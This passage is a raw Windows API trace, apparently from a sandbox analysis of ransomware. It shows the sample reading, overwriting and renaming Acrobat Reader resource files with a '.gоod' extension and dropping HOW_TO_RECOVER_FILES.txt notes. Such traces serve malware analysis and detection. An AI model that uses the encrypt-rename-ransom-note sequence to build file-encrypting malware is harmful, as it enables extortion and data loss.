(dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0228.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.142] GetFileType (hFile=0x864) returned 0x1 [0228.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0228.142] GetFileType (hFile=0x864) returned 0x1 [0228.142] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x813 [0228.142] ReadFile (in: hFile=0x864, lpBuffer=0x38fa230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x38fa230*, lpNumberOfBytesRead=0x203ec6b8*=0x813, lpOverlapped=0x0) returned 1 [0228.143] CloseHandle (hObject=0x864) returned 1 [0228.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", lpFilePart=0x0) returned 0x7d [0228.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0228.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.222] GetFileType (hFile=0x864) returned 0x1 [0228.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0228.222] GetFileType (hFile=0x864) returned 0x1 [0228.222] WriteFile (in: hFile=0x864, lpBuffer=0x37aabd0*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x37aabd0*, lpNumberOfBytesWritten=0x203ec5c8*=0x820, lpOverlapped=0x0) returned 1 [0228.223] CloseHandle (hObject=0x864) returned 1 [0228.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css", lpFilePart=0x0) returned 0x7d [0228.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.gоod", lpFilePart=0x0) returned 0x82 [0228.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0228.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x843e6870, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0228.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0228.223] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.gоod")) returned 1 [0228.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0228.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0228.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0228.226] GetFileType (hFile=0x864) returned 0x1 [0228.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0228.226] GetFileType (hFile=0x864) returned 0x1 [0228.228] WriteFile (in: hFile=0x864, lpBuffer=0x37ae4c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x37ae4c0*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0228.230] CloseHandle (hObject=0x864) returned 1 [0228.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0228.230] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images", lpFilePart=0x0) returned 0x6b [0228.230] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0228.232] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.png", cAlternateFileName="")) returned 1 [0228.233] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0228.233] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.233] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0228.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0228.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0228.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0228.234] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images", lpFilePart=0x0) returned 0x6b [0228.234] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0228.234] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0228.235] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.png", cAlternateFileName="")) returned 1 [0228.236] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0228.236] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0228.236] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0228.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0228.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0228.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x7e [0228.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0228.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x37c0538 | out: lpFileInformation=0x37c0538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd)) returned 1 [0228.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0228.762] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x7e [0228.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0228.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.768] GetFileType (hFile=0x864) returned 0x1 [0228.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0228.768] GetFileType (hFile=0x864) returned 0x1 [0228.808] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x1bd [0228.808] ReadFile (in: hFile=0x864, lpBuffer=0x37288b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x37288b0*, lpNumberOfBytesRead=0x203ec6b8*=0x1bd, lpOverlapped=0x0) returned 1 [0228.809] CloseHandle (hObject=0x864) returned 1 [0228.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x7e [0228.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0228.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.943] GetFileType (hFile=0x864) returned 0x1 [0228.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0228.943] GetFileType (hFile=0x864) returned 0x1 [0228.943] WriteFile (in: hFile=0x864, lpBuffer=0x35d18e8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x35d18e8*, lpNumberOfBytesWritten=0x203ec5c8*=0x1c0, lpOverlapped=0x0) returned 1 [0228.944] CloseHandle (hObject=0x864) returned 1 [0228.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x7e [0228.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.gоod", lpFilePart=0x0) returned 0x83 [0228.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0228.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x84ad0a67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0228.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0228.944] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 